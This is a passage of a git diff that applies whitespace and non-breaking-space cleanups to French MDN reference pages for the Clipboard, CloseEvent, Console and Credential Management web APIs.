à`DataTransfer`, ensuite `write()` est appelé, en spécifiant une function d'accomplissement et une fonction d'erreur. +Le code commence par la creation d'un nouveau objet {{domxref("DataTransfer")}} dans lequel le texte est placé pour être envoyé au presse-papier. {{domxref("DataTransferItemList.add()")}} est appelé pour ajouté le texte à`DataTransfer`, ensuite `write()` est appelé, en spécifiant une function d'accomplissement et une fonction d'erreur. ## Specifications diff --git a/files/fr/web/api/clipboard_api/index.md b/files/fr/web/api/clipboard_api/index.md index bdd7d9543c..ead902ec4f 100644 --- a/files/fr/web/api/clipboard_api/index.md +++ b/files/fr/web/api/clipboard_api/index.md @@ -5,7 +5,7 @@ translation_of: Web/API/Clipboard_API --- {{DefaultAPISidebar("Clipboard API")}} -L'**API Clipboard** (en français : API Presse-papiers) fournit la possibilité de répondre aux commandes du presse-papiers (couper, copier et coller) ainsi que de lire et écrire sur le presse-papiers système de façon asynchrone. L'accès aux contenus du presse-papiers est protégé par l'[API Permissions](/fr/docs/Web/API/Permissions_API) : la permission `clipboard-write` est donnée automatiquement aux pages lorsqu'elles sont dans l'onglet actif. La permission `clipboard-read` doit quant à elle être demandée, ce que vous pouvez faire en tentant de lire les données du presse-papiers. +L'**API Clipboard** (en français : API Presse-papiers) fournit la possibilité de répondre aux commandes du presse-papiers (couper, copier et coller) ainsi que de lire et écrire sur le presse-papiers système de façon asynchrone. L'accès aux contenus du presse-papiers est protégé par l'[API Permissions](/fr/docs/Web/API/Permissions_API) : la permission `clipboard-write` est donnée automatiquement aux pages lorsqu'elles sont dans l'onglet actif. La permission `clipboard-read` doit quant à elle être demandée, ce que vous pouvez faire en tentant de lire les données du presse-papiers. > **Note :** Cette API _n'est pas disponible_ dans les [Web Workers](/fr/docs/Web/API/Web_Workers_API) (elle n'est pas exposée via {{domxref("WorkerNavigator")}}). @@ -13,7 +13,7 @@ Cette API est conçue pour remplacer l'accès au presse-papiers précédemment p ## Accéder au presse-papier -Au lieu de créer un objet `Clipboard` lors de l'instanciation, vous pouvez accéder au presse-papier du système avec la globale {{domxref("Navigator.clipboard")}} : +Au lieu de créer un objet `Clipboard` lors de l'instanciation, vous pouvez accéder au presse-papier du système avec la globale {{domxref("Navigator.clipboard")}} : ```js navigator.clipboard.readText().then( diff --git a/files/fr/web/api/closeevent/index.md b/files/fr/web/api/closeevent/index.md index a6d23bbdf6..e128b97ef5 100644 --- a/files/fr/web/api/closeevent/index.md +++ b/files/fr/web/api/closeevent/index.md @@ -16,15 +16,15 @@ Un évènement `CloseEvent` est envoyé au client utilisant une [WebSocket](/fr/ ## Constructeur - {{domxref("CloseEvent.CloseEvent", "CloseEvent()")}} - - : Construit un nouvel événement `CloseEvent`. + - : Construit un nouvel événement `CloseEvent`. ## Propriétés -_Cette interface hérite également des propriétés de sa mère, {{domxref("Event")}}._ +_Cette interface hérite également des propriétés de sa mère, {{domxref("Event")}}._ - {{domxref("CloseEvent.code")}} {{readOnlyInline}} - - : Retourne un `unsigned short` contenant le code de fermeture envoyé par le serveur. Les valeurs possibles sont données ci-dessous. + - : Retourne un `unsigned short` contenant le code de fermeture envoyé par le serveur. Les valeurs possibles sont données ci-dessous. <table class="standard-table"> <tbody> @@ -35,7 +35,7 @@ _Cette interface hérite également des propriétés de sa mère, {{domxref("Ev </tr> <tr> <td><code>0</code>–<code>999</code></td> - <td> </td> + <td></td> <td><strong>Reservé et inutilisé.</strong></td> </tr> <tr> @@ -72,7 +72,7 @@ _Cette interface hérite également des propriétés de sa mère, {{domxref("Ev </tr> <tr> <td><code>1004</code></td> - <td> </td> + <td></td> <td> <strong>Réservé.</strong> Une utilisation pourrait être définie dans le futur. @@ -82,7 +82,7 @@ _Cette interface hérite également des propriétés de sa mère, {{domxref("Ev <td><code>1005</code></td> <td><code>CLOSE_NO_STATUS</code></td> <td> - <strong>Réservé.</strong> Indique qu'aucun code n'est donné bien qu'un + <strong>Réservé.</strong> Indique qu'aucun code n'est donné bien qu'un code était attendu. </td> </tr> @@ -90,13 +90,13 @@ _Cette interface hérite également des propriétés de sa mère, {{domxref("Ev <td><code>1006</code></td> <td><code>CLOSE_ABNORMAL</code></td> <td> - <strong>Réservé.</strong> Utilisé pour indiquer que la connexion a été + <strong>Réservé.</strong> Utilisé pour indiquer que la connexion a été terminée anormalement (sans paquet indiquant la fermeture). </td> </tr> <tr> <td><code>1007</code></td> - <td> </td> + <td></td> <td> Le serveur termine la connexion car un message contenant des données incohérentes a été reçu (e.g., des données qui ne sont pas au format @@ -105,7 +105,7 @@ _Cette interface hérite également des propriétés de sa mère, {{domxref("Ev </tr> <tr> <td><code>1008</code></td> - <td> </td> + <td></td> <td> Le serveur termine la connexion car un message ne respectant pas la politique du serveur est reçu. C'est un code d'état générique qui est @@ -123,7 +123,7 @@ _Cette interface hérite également des propriétés de sa mère, {{domxref("Ev </tr> <tr> <td><code>1010</code></td> - <td> </td> + <td></td> <td> Le client termine la connexion car il souhaitait négocier une ou plusieurs extensions mais le serveur ne l'a pas fait. @@ -131,7 +131,7 @@ _Cette interface hérite également des propriétés de sa mère, {{domxref("Ev </tr> <tr> <td><code>1011</code></td> - <td> </td> + <td></td> <td> Le serveur termine la connexion car il a rencontré un problème qui l'empêche de traiter la requête. @@ -139,7 +139,7 @@ _Cette interface hérite également des propriétés de sa mère, {{domxref("Ev </tr> <tr> <td>–<code>1014</code></td> - <td> </td> + <td></td> <td> <strong >Réservé pour une utilisation future par le standard @@ -149,16 +149,16 @@ _Cette interface hérite également des propriétés de sa mère, {{domxref("Ev </tr> <tr> <td><code>1015</code></td> - <td> </td> + <td></td> <td> - <strong>Réservé.</strong> Indique que la connexion a été fermée à cause + <strong>Réservé.</strong> Indique que la connexion a été fermée à cause d'une erreur durant le handshake TLS (e.g., le certificat du serveur ne peut pas être vérifié). </td> </tr> <tr> <td><code>1016</code>–<code>1999</code></td> - <td> </td> + <td></td> <td> <strong >Réservé pour une utilisation future par le standard @@ -168,7 +168,7 @@ _Cette interface hérite également des propriétés de sa mère, {{domxref("Ev </tr> <tr> <td><code>2000</code>–<code>2999</code></td> - <td> </td> + <td></td> <td> <strong >Réservé pour une utilisation future par le standard @@ -178,32 +178,32 @@ _Cette interface hérite également des propriétés de sa mère, {{domxref("Ev </tr> <tr> <td><code>3000</code>–<code>3999</code></td> - <td> </td> + <td></td> <td> Disponible pour être utilisé par des bibliothèques ou des frameworks. - Ces codes <strong>ne doivent pas</strong> être utilisés par des + Ces codes <strong>ne doivent pas</strong> être utilisés par des applications. </td> </tr> <tr> <td><code>4000</code>–<code>4999</code></td> - <td> </td> + <td></td> <td>Disponible pour être utilisés par des applications.</td> </tr> </tbody> </table> - {{domxref("CloseEvent.reason")}} {{readOnlyInline}} - - : Retourne un {{ domxref("DOMString") }} qui indique la raison pour laquelle le serveur a fermé la connexion. Ce message est spécifique au serveur et au sous-protocole utilisé. + - : Retourne un {{ domxref("DOMString") }} qui indique la raison pour laquelle le serveur a fermé la connexion. Ce message est spécifique au serveur et au sous-protocole utilisé. - {{domxref("CloseEvent.wasClean")}} {{readOnlyInline}} - : Retourne un {{jsxref("Boolean")}} qui indique si la connexion a été correctement fermée ou non. ## Méthodes -_Cette interface hérite également des propriétés de sa mère, {{domxref("Event")}}._ +_Cette interface hérite également des propriétés de sa mère, {{domxref("Event")}}._ - {{domxref("CloseEvent.initCloseEvent()")}} {{Non-standard_inline}} {{Obsolete_inline}} - - : Initialise la valeur d'un `CloseEvent`. Si l'événement a déjà été envoyé, cette méthode ne fait rien. + - : Initialise la valeur d'un `CloseEvent`. Si l'événement a déjà été envoyé, cette méthode ne fait rien. ## Spécifications diff --git a/files/fr/web/api/comment/index.md b/files/fr/web/api/comment/index.md index 40f4ebe0de..62e4ee454a 100644 --- a/files/fr/web/api/comment/index.md +++ b/files/fr/web/api/comment/index.md @@ -14,7 +14,7 @@ L'interface **`Comment`** représente des annotations textuelles au sein du bali ## Propriétés -_Cette interface ne possède pas de propriétés spécifiques, mais en hérite de ses parents, {{domxref("CharacterData")}} et indirectement de {{domxref("Node")}}._ +_Cette interface ne possède pas de propriétés spécifiques, mais en hérite de ses parents, {{domxref("CharacterData")}} et indirectement de {{domxref("Node")}}._ ## Constructeur @@ -23,7 +23,7 @@ _Cette interface ne possède pas de propriétés spécifiques, mais en hérite ## Méthodes -_Cette interface ne possède pas de méthode spécifique, mais en hérite de ses parents, {{domxref("CharacterData")}} et indirectement de {{domxref("Node")}}._ +_Cette interface ne possède pas de méthode spécifique, mais en hérite de ses parents, {{domxref("CharacterData")}} et indirectement de {{domxref("Node")}}._ ## Spécifications diff --git a/files/fr/web/api/compositionevent/index.md b/files/fr/web/api/compositionevent/index.md index f91b5a3815..be658e0eb2 100644 --- a/files/fr/web/api/compositionevent/index.md +++ b/files/fr/web/api/compositionevent/index.md @@ -36,8 +36,8 @@ _Cette interface hérite également des méthodes de son parent, {{domxref("UIEv | Spécification | Statut | Commentaire | | ---------------------------------------------------------------------------------------------------- | -------------------------------- | ----------- | -| {{SpecName('UI Events', '#interface-compositionevent', 'CompositionEvent')}} | {{Spec2('UI Events')}} | | -| {{SpecName('DOM3 Events', '#idl-compositionevent', 'CompositionEvent')}} | {{Spec2('DOM3 Events')}} | | +| {{SpecName('UI Events', '#interface-compositionevent', 'CompositionEvent')}} | {{Spec2('UI Events')}} | | +| {{SpecName('DOM3 Events', '#idl-compositionevent', 'CompositionEvent')}} | {{Spec2('DOM3 Events')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/api/console/assert/index.md b/files/fr/web/api/console/assert/index.md index 0b3aaddfaf..ae7237316d 100644 --- a/files/fr/web/api/console/assert/index.md +++ b/files/fr/web/api/console/assert/index.md @@ -28,13 +28,13 @@ Affiche un message d'erreur dans la console si l'assertion est fausse. Si l'asse - `assertion` - : N'importe quelle expression booléenne. Si l'assertion est fausse, le message s'affichera dans la console. - `obj1` ... `objN` - - : Une liste d'objets javascript à afficher. La représentation textuelle de chacun de ces objets est ajoutée à la suite de la précédente dans l'ordre donné et est ensuite affichée. + - : Une liste d'objets javascript à afficher. La représentation textuelle de chacun de ces objets est ajoutée à la suite de la précédente dans l'ordre donné et est ensuite affichée. - `msg` - - : Une chaîne de caractères javascript contenant zéro ou plus chaîne(s) de caractères de substitution. + - : Une chaîne de caractères javascript contenant zéro ou plus chaîne(s) de caractères de substitution. - `subst1` ... `substN` - - : L'objet javascript avec lequel remplacer les chaînes de substitution dans `msg`. Ceci vous offre plus de contrôle sur ce qui est affiché. + - : L'objet javascript avec lequel remplacer les chaînes de substitution dans `msg`. Ceci vous offre plus de contrôle sur ce qui est affiché. -Allez voir [Afficher du texte dans la console](/fr/docs/Web/API/console#Outputting_text_to_the_console) dans la documentation de {{domxref("console")}} pour plus de détails. +Allez voir [Afficher du texte dans la console](/fr/docs/Web/API/console#Outputting_text_to_the_console) dans la documentation de {{domxref("console")}} pour plus de détails. ## Spécification diff --git a/files/fr/web/api/console/clear/index.md b/files/fr/web/api/console/clear/index.md index e0914af264..963e34b654 100644 --- a/files/fr/web/api/console/clear/index.md +++ b/files/fr/web/api/console/clear/index.md @@ -5,11 +5,11 @@ translation_of: Web/API/Console/clear --- {{APIRef("Console API")}} -Vide la console. +Vide la console. Tous les messages de la console seront supprimés et remplacés par un message de confirmation ("Console was cleared"). -À noter: sur Google Chrome, `console.clear()` n'a aucun effet si l'utilisateur a coché "Preserve log upon navigation" dans les [paramètres de l'inspecteur](https://developer.chrome.com/devtools/docs/settings#preserve-log%20upon%20navigation). +À noter: sur Google Chrome, `console.clear()` n'a aucun effet si l'utilisateur a coché "Preserve log upon navigation" dans les [paramètres de l'inspecteur](https://developer.chrome.com/devtools/docs/settings#preserve-log%20upon%20navigation). ## Syntaxe diff --git a/files/fr/web/api/console/count/index.md b/files/fr/web/api/console/count/index.md index 7cb5fa0d25..3585fcc54a 100644 --- a/files/fr/web/api/console/count/index.md +++ b/files/fr/web/api/console/count/index.md @@ -13,13 +13,13 @@ translation_of: Web/API/Console/count --- {{APIRef("Console API")}} -Affiche dans la console le nombre de fois où la fonction `count()` a été appelée. Cette fonction accepte l'argument optionnel `label`. +Affiche dans la console le nombre de fois où la fonction `count()` a été appelée. Cette fonction accepte l'argument optionnel `label`. {{AvailableInWorkers}} Si un `label` est passé en paramètre, la fonction affiche le nombre de fois où la fonction `count()` a été appelée pour ce `label` spécifiquempent. -Si aucun `label` est passé en paramètre, la fonction affiche le nombre de fois où la fonction `count()` a été appelée jusqu'à présent. +Si aucun `label` est passé en paramètre, la fonction affiche le nombre de fois où la fonction `count()` a été appelée jusqu'à présent. Ci-dessous, un exemple d'utilisation : @@ -44,9 +44,9 @@ La console affichera les lignes suivantes : "<no label>: 3" "<no label>: 1" -A noter, la dernière ligne inscrite dans la console fait référence à l'appel de la fonction `count()` de la ligne 11 qui est traité comme un événement indépendant. +A noter, la dernière ligne inscrite dans la console fait référence à l'appel de la fonction `count()` de la ligne 11 qui est traité comme un événement indépendant. -Si la variable `user` est passée à la fonction comme paramètre `label`, le code ci-dessous génèrera un nouveau compteur lorsque la variable `user` sera modifiée : +Si la variable `user` est passée à la fonction comme paramètre `label`, le code ci-dessous génèrera un nouveau compteur lorsque la variable `user` sera modifiée : ```js function greet() { @@ -69,7 +69,7 @@ La console affichera les lignes suivantes : "alice: 2" "alice: 3" -Nous obtenons maintenant deux compteurs distinct basés sur un libellé différent. L'appel de la fonction `count()` avec "alice" à la ligne 11 n'est pas considéré comme un événement indépendant car le compteur existe déjà. +Nous obtenons maintenant deux compteurs distinct basés sur un libellé différent. L'appel de la fonction `count()` avec "alice" à la ligne 11 n'est pas considéré comme un événement indépendant car le compteur existe déjà. ## Syntaxe @@ -78,7 +78,7 @@ Nous obtenons maintenant deux compteurs distinct basés sur un libellé différe ## Paramètres - `label` - - : Une chaîne de caractères. Si ce paramètre est renseigné, `count()` affiche le nombre de fois que la fonction a été appelée jusqu'à présent avec ce libellé. S'il est omis, `count()` affiche le nombre de fois que la fonction a été appelée sur cette ligne. + - : Une chaîne de caractères. Si ce paramètre est renseigné, `count()` affiche le nombre de fois que la fonction a été appelée jusqu'à présent avec ce libellé. S'il est omis, `count()` affiche le nombre de fois que la fonction a été appelée sur cette ligne. ## Spécifications diff --git a/files/fr/web/api/console/countreset/index.md b/files/fr/web/api/console/countreset/index.md index 3fb703d448..26da32c5f2 100644 --- a/files/fr/web/api/console/countreset/index.md +++ b/files/fr/web/api/console/countreset/index.md @@ -30,11 +30,11 @@ Si aucun label n'as été specifié ### Warnings -Si `label` est specifié mais n'existe pas `countReset()` renvoie cet avertissement : +Si `label` est specifié mais n'existe pas `countReset()` renvoie cet avertissement : Counter "counter-name" doesn’t exist. -Si `label` n'est pas specifé et que `count()` n'as pas encore été appellé `countReset()` renvoie cette avertissement : +Si `label` n'est pas specifé et que `count()` n'as pas encore été appellé `countReset()` renvoie cette avertissement : Counter "default" doesn’t exist. @@ -69,7 +69,7 @@ Le retour de la console ressemblera à ceci : Pour information l'appel à `console.counterReset()` remet à zero la valeur du compteur par défaut. -S'il on passe la variable `user` comme argument pour `label` et que l'on effectue un premier appel de la fonction `count()`, avec la chaine "bob" puis un second appel avec la chaine "alice" : +S'il on passe la variable `user` comme argument pour `label` et que l'on effectue un premier appel de la fonction `count()`, avec la chaine "bob" puis un second appel avec la chaine "alice" : ```js var user = ""; @@ -96,7 +96,7 @@ On obtiendra ce retour dans la console "bob: 0" "alice: 3" -Remettre à zero le compteur "bob" change uniquement la valeur de celui-ci. La valeur du compteur "alice" reste inchangée. +Remettre à zero le compteur "bob" change uniquement la valeur de celui-ci. La valeur du compteur "alice" reste inchangée. ## Specifications diff --git a/files/fr/web/api/console/error/index.md b/files/fr/web/api/console/error/index.md index 58ccae6929..56f3d17e6a 100644 --- a/files/fr/web/api/console/error/index.md +++ b/files/fr/web/api/console/error/index.md @@ -35,7 +35,7 @@ Affiche un message d'erreur dans la console du navigateur. - `subst1` ... `substN` - : Une liste d'objets JavaScript qui remplace les chaînes de caractéres de `msg`. Cela vous donne plus de contrôle sur le format de sortie. -Voir [Afficher du texte dans la console](/fr/docs/Web/API/console#Outputting_text_to_the_console) dans la documentation de {{domxref("console")}} pour plus de détails. +Voir [Afficher du texte dans la console](/fr/docs/Web/API/console#Outputting_text_to_the_console) dans la documentation de {{domxref("console")}} pour plus de détails. ## Spécification diff --git a/files/fr/web/api/console/groupcollapsed/index.md b/files/fr/web/api/console/groupcollapsed/index.md index aa84ded541..07097f5ee3 100644 --- a/files/fr/web/api/console/groupcollapsed/index.md +++ b/files/fr/web/api/console/groupcollapsed/index.md @@ -18,7 +18,7 @@ Crée un nouveau groupe intégré dans la console Web. Contrairement à {{domxre Appellez {{domxref("console.groupEnd()")}} pour revenir au groupe parent. -Voir [Using groups in the console](/fr/docs/Web/API/console#Using_groups_in_the_console) dans la documentation de {{domxref("console")}} pour plus de détails et des exemples. +Voir [Using groups in the console](/fr/docs/Web/API/console#Using_groups_in_the_console) dans la documentation de {{domxref("console")}} pour plus de détails et des exemples. {{AvailableInWorkers}} diff --git a/files/fr/web/api/console/groupend/index.md b/files/fr/web/api/console/groupend/index.md index 8729a7f1cb..4beb3f1a20 100644 --- a/files/fr/web/api/console/groupend/index.md +++ b/files/fr/web/api/console/groupend/index.md @@ -12,7 +12,7 @@ translation_of: Web/API/Console/groupEnd --- {{APIRef("Console API")}} -Quitte le groupe en ligne actuel dans la [console Web](/fr/docs/Outils/Console_Web). Voir [Using groups in the console](/fr/docs/Web/API/console#Using_groups_in_the_console) dans la documentation {{domxref("console.group()")}} pour plus de détails et des exemples. +Quitte le groupe en ligne actuel dans la [console Web](/fr/docs/Outils/Console_Web). Voir [Using groups in the console](/fr/docs/Web/API/console#Using_groups_in_the_console) dans la documentation {{domxref("console.group()")}} pour plus de détails et des exemples. {{AvailableInWorkers}} diff --git a/files/fr/web/api/console/index.md b/files/fr/web/api/console/index.md index 35cf36b6fa..cde6c8f71d 100644 --- a/files/fr/web/api/console/index.md +++ b/files/fr/web/api/console/index.md @@ -13,7 +13,7 @@ translation_of: Web/API/Console L'objet **`console`** donne accès à la console de débogage du navigateur (par exemple, la [Console Web](/fr/docs/Tools/Web_Console) dans Firefox). Les spécificités de fonctionnement varient d'un navigateur à l'autre, mais il y a tout de même un ensemble de fonctionnalités qui sont fournies de base. -La `console` est accessible de n'importe quel objet global, {{domxref("Window")}} du cadre de navigation, {{domxref("WorkerGlobalScope")}} et ses variantes spécifiques pour les workers. Elle est exposée comme {{domxref ("Window.console")}} et peut être référencée simplement comme console. Par exemple : +La `console` est accessible de n'importe quel objet global, {{domxref("Window")}} du cadre de navigation, {{domxref("WorkerGlobalScope")}} et ses variantes spécifiques pour les workers. Elle est exposée comme {{domxref ("Window.console")}} et peut être référencée simplement comme console. Par exemple : ```js console.log("Failed to open the specified link") @@ -61,7 +61,7 @@ Cette page documente les {{anch("Methods", "méthodes")}} disponibles pour l'obj - {{domxref("Console.table()")}} - : Affiche des données tabulaires comme un tableau. - {{domxref("Console.time()")}} - - : Démarre un [chronomètre](/fr/docs/Web/API/console#Timers) que l'on peut nommer en le spécifiant en tant que paramètre. Jusqu'à 10 000 chronomètres simultanés peuvent tourner sur une page. + - : Démarre un [chronomètre](/fr/docs/Web/API/console#Timers) que l'on peut nommer en le spécifiant en tant que paramètre. Jusqu'à 10 000 chronomètres simultanés peuvent tourner sur une page. - {{domxref("Console.timeEnd()")}} - : Arrête le [chronomètre](/fr/docs/Web/API/console#Timers) spécifié et affiche le temps écoulé en millisecondes depuis son démarrage. - {{domxref("Console.timeStamp()")}} {{Non-standard_inline}} @@ -104,7 +104,7 @@ console.info("My first car was a", car, ". The object is: ", someObject); L'affichage ressemblera à ceci : - [09:28:22.711] My first car was a Dodge Charger . The object is: ({str:"Some text", id:5}) + [09:28:22.711] My first car was a Dodge Charger . The object is: ({str:"Some text", id:5}) #### Utiliser les caractères de substitution @@ -149,7 +149,7 @@ Gecko 9.0 {{geckoRelease("9.0")}} a amené le support des caractères de substit Chacun de ceux-ci ira chercher l'argument qui suit la chaîne à formater. Par exemple : for (var i=0; i<5; i++) { - console.log("Hello, %s. You've called me %d times.", "Bob", i+1); + console.log("Hello, %s. You've called me %d times.", "Bob", i+1); } L'affichage ressemblera à ceci : @@ -199,7 +199,7 @@ L'affichage ressemblera à ceci : {{h3_gecko_minversion("Timers", "10.0")}} -Pour calculer la durée d'une opération spécifique, Gecko 10 a amené le supports des chronomètres dans l'objet `console`. pour démarrer un chronomètre, appelez la méthode ` console.time``() ` en lui donnant un seul paramètre, son nom. Pour arrêter le chronomètre et obtenir le temps écoulé en millisecondes, utilisez la méthode `console.timeEnd()`, en passant à nouveau le nom du chronomètre comme paramètre. Une seule page peut faire tourner un maximum de 10.000 chronomètres. +Pour calculer la durée d'une opération spécifique, Gecko 10 a amené le supports des chronomètres dans l'objet `console`. pour démarrer un chronomètre, appelez la méthode ` console.time``() ` en lui donnant un seul paramètre, son nom. Pour arrêter le chronomètre et obtenir le temps écoulé en millisecondes, utilisez la méthode `console.timeEnd()`, en passant à nouveau le nom du chronomètre comme paramètre. Une seule page peut faire tourner un maximum de 10.000 chronomètres. Par exemple, voici ce code : @@ -224,10 +224,10 @@ L'objet console supporte aussi l'affichage d'une trace d'appels ; cela montre le foo(); function foo() { - function bar() { - console.trace(); - } - bar(); + function bar() { + console.trace(); + } + bar(); } L'affichage dans la console ressemblera à ceci : diff --git a/files/fr/web/api/console/profileend/index.md b/files/fr/web/api/console/profileend/index.md index 03466b8172..50a4f87e40 100644 --- a/files/fr/web/api/console/profileend/index.md +++ b/files/fr/web/api/console/profileend/index.md @@ -10,9 +10,9 @@ translation_of: Web/API/Console/profileEnd --- {{APIRef("Console API")}}{{Non-standard_header}} -> **Attention :** L'appel de cet API immédiatement après `console.profile()` peut l'empêcher de fonctionner. Pour contourner ce problème, appelez-le par un `setTimeout` avec un délai d'au-moins 5 ms. Voir [bug #1173588](https://bugzilla.mozilla.org/show_bug.cgi?id=1173588). +> **Attention :** L'appel de cet API immédiatement après `console.profile()` peut l'empêcher de fonctionner. Pour contourner ce problème, appelez-le par un `setTimeout` avec un délai d'au-moins 5 ms. Voir [bug #1173588](https://bugzilla.mozilla.org/show_bug.cgi?id=1173588). -La méthode `profileEnd` arrête l'enregistrement d'un profil lancé précédemment avec {{domxref("Console.profile()")}}. +La méthode `profileEnd` arrête l'enregistrement d'un profil lancé précédemment avec {{domxref("Console.profile()")}}. Vous pouvez éventuellement insérer un argument pour nommer le profil. Cela vous permet d'arrêter uniquement ce profil si vous avez enregistré plusieurs profils. diff --git a/files/fr/web/api/console/table/index.md b/files/fr/web/api/console/table/index.md index d10348512f..470915e720 100644 --- a/files/fr/web/api/console/table/index.md +++ b/files/fr/web/api/console/table/index.md @@ -18,7 +18,7 @@ Cette fonction prend un argument obligatoire `data`, qui doit être un tableau ( Il affiche `data` sous la forme d'un tableau. Chaque élément dans le tableau fourni (Array) sera affiché comme une ligne dans le tableau. (ou les propriétés énumérables s'il s'agit d'un objet) -La première colonne dans le tableau sera intitulé `(index)`. Si `data` est un tableau (Array), alors les valeurs de cette colonne seront les index du tableau (Array). Si `data` est un objet, alors ses valeurs seront les noms des propriétés.À noter (dans Firefox) : `console.table` est limité à l'affichage de 1000 lignes (la première ligne est l'index étiqueté) +La première colonne dans le tableau sera intitulé `(index)`. Si `data` est un tableau (Array), alors les valeurs de cette colonne seront les index du tableau (Array). Si `data` est un objet, alors ses valeurs seront les noms des propriétés.À noter (dans Firefox) : `console.table` est limité à l'affichage de 1000 lignes (la première ligne est l'index étiqueté) {{AvailableInWorkers}} @@ -38,8 +38,8 @@ console.table(["apples", "oranges", "bananas"]); // un objet dont les propriétés sont des chaînes de caractères function Person(firstName, lastName) { - this.firstName = firstName; - this.lastName = lastName; + this.firstName = firstName; + this.lastName = lastName; } var me = new Person("John", "Smith"); diff --git a/files/fr/web/api/console/time/index.md b/files/fr/web/api/console/time/index.md index af170f9326..b5f513a857 100644 --- a/files/fr/web/api/console/time/index.md +++ b/files/fr/web/api/console/time/index.md @@ -13,9 +13,9 @@ translation_of: Web/API/Console/time --- {{APIRef("Console API")}} -Chronomètre une opération. Chaque "timer" doit avoir un nom unique. Il peut y avoir jusqu'à 10000 "timers" sur une même page. En appelant {{ domxref("console.timeEnd()") }} avec le même nom, le navigateur affichera le temps d'execution en millisecondes dans la console. +Chronomètre une opération. Chaque "timer" doit avoir un nom unique. Il peut y avoir jusqu'à 10000 "timers" sur une même page. En appelant {{ domxref("console.timeEnd()") }} avec le même nom, le navigateur affichera le temps d'execution en millisecondes dans la console. -Voir [Timers](/fr/docs/Web/API/console#Timers) dans la documentation de {{ domxref("console") }} pour plus de details et d'exemples. +Voir [Timers](/fr/docs/Web/API/console#Timers) dans la documentation de {{ domxref("console") }} pour plus de details et d'exemples. ## Syntaxe @@ -32,7 +32,7 @@ Voir [Timers](/fr/docs/Web/API/console#Timers) dans la documentation de {{ domx | ------------------------------------------------------------------------ | -------------------------------- | ------------------- | | {{SpecName("Console API", "#time", "console.time()")}} | {{Spec2("Console API")}} | Définition initiale | -## Compatibilité des navigateurs +## Compatibilité des navigateurs {{Compat("api.Console.time")}} diff --git a/files/fr/web/api/console/timelog/index.md b/files/fr/web/api/console/timelog/index.md index b8fb84bc0c..efd290013a 100644 --- a/files/fr/web/api/console/timelog/index.md +++ b/files/fr/web/api/console/timelog/index.md @@ -15,7 +15,7 @@ translation_of: Web/API/Console/timeLog Affiche dans la console la valeur actuelle d'un timer précédemment appelé par {{domxref("console.time()")}} -Voir [Timers](/en-US/docs/Web/API/console#Timers) dans la documentation pour des exemples et plus de détails +Voir [Timers](/en-US/docs/Web/API/console#Timers) dans la documentation pour des exemples et plus de détails {{AvailableInWorkers}} @@ -34,7 +34,7 @@ Si aucun label n'est inclus default: 1042ms -Si un `label` est inclus: +Si un `label` est inclus: timer name: 1242ms @@ -60,7 +60,7 @@ Le résultat de l'exemple ci-dessus montre le temps qu'a mis l'utilisateur à fe  -Notez que le nom du timer est à la fois affiché lorsque la valeur est affichée par `timeLog()` et lorsque le timer est arrêté +Notez que le nom du timer est à la fois affiché lorsque la valeur est affichée par `timeLog()` et lorsque le timer est arrêté ## Spécifications diff --git a/files/fr/web/api/credential/index.md b/files/fr/web/api/credential/index.md index 26433b17b0..6fad1f1130 100644 --- a/files/fr/web/api/credential/index.md +++ b/files/fr/web/api/credential/index.md @@ -15,9 +15,9 @@ L'interface **`Credential`**, rattachée à l'[API Credential Management](/fr/do ## Propriétés -- {{domxref("Credential.id")}} {{readonlyInline}} +- {{domxref("Credential.id")}} {{readonlyInline}} - : Une chaîne de caractères qui est l'identifiant des informations d'authentification. Cela peut être un GUID, un nom d'utilisateur ou une adresse électronique. -- {{domxref("Credential.type")}} {{readonlyInline}} +- {{domxref("Credential.type")}} {{readonlyInline}} - : Une chaîne de caractères qui décrit le type d'information d'authentification utilisée. Les valeurs valides sont diff --git a/files/fr/web/api/credentialscontainer/create/index.md b/files/fr/web/api/credentialscontainer/create/index.md index a322b56e71..009e899da4 100644 --- a/files/fr/web/api/credentialscontainer/create/index.md +++ b/files/fr/web/api/credentialscontainer/create/index.md @@ -33,14 +33,14 @@ La méthode **`create()`**, rattachée à l'interface {{domxref("CredentialsCont - `id`: (obligatoire) {{domxref("USVString")}} hérité de {{domxref("CredentialData")}}. - `name`: {{optional_inline}} {{domxref("USVString")}} - - `iconURL`: {{optional_inline}} {{domxref("USVString")}} + - `iconURL`: {{optional_inline}} {{domxref("USVString")}} - `password`: (required) {{domxref("USVString")}} - federated : {{optional_inline}} un objet {{domxref("FederatedCredentialInit")}}. Cet objet contient le nécessaire pour créer/obtenir des informations d'authentification fédérées. Les propriétés disponibles sont : - `id`: (required) {{domxref("USVString")}} hérité de {{domxref("CredentialData")}}. - `name`: {{optional_inline}} {{domxref("USVString")}} - - `iconURL`: {{optional_inline}} {{domxref("USVString")}} + - `iconURL`: {{optional_inline}} {{domxref("USVString")}} - `provider`: (required) {{domxref("USVString")}} - `protocol`: {{optional_inline}} {{domxref("USVString")}} diff --git a/files/fr/web/api/credentialscontainer/get/index.md b/files/fr/web/api/credentialscontainer/get/index.md index cee2fcb61c..9dd9a64eae 100644 --- a/files/fr/web/api/credentialscontainer/get/index.md +++ b/files/fr/web/api/credentialscontainer/get/index.md @@ -17,7 +17,7 @@ La méthode **`get()`**, rattachée à l'interface {{domxref("CredentialsContain Cette méthode collecte l'ensemble des informations d'authentification stockées dans l'objet {{domxref("CredentialsContainer")}} et qui respectent les critères indiqués (définis grâce à l'argument **`options`**). À partir de cet ensemble, l'agent utilisateur sélectionne la meilleure information d'authentification. Selon les options fournies, l'agent utilisateur pourra afficher une boîte de dialogue et demander à l'utilisateur de sélectionner la bonne information. -Cette méthode récupère les informations d'authentification en appelant la méthode `CollectFromCredentialStore` pour chaque type d'authentification permis par l'argument **`options`**. Ainsi, si la propriété `options.password` existe dans l'argument passé, {{domxref("PasswordCredential")}}`.[[CollectFromCredentialStore]]` sera appelée. +Cette méthode récupère les informations d'authentification en appelant la méthode `CollectFromCredentialStore` pour chaque type d'authentification permis par l'argument **`options`**. Ainsi, si la propriété `options.password` existe dans l'argument passé, {{domxref("PasswordCredential")}}`.[[CollectFromCredentialStore]]` sera appelée. > **Note :** Cette méthode ne peut être utilisé que pour les contextes de navigation les plus hauts. Les appels lancés depuis une {{HTMLElement("iframe")}} résoudront la promesse sans aucun effet. diff --git a/files/fr/web/api/credentialscontainer/preventsilentaccess/index.md b/files/fr/web/api/credentialscontainer/preventsilentaccess/index.md index 6ca704fc70..03b53401d9 100644 --- a/files/fr/web/api/credentialscontainer/preventsilentaccess/index.md +++ 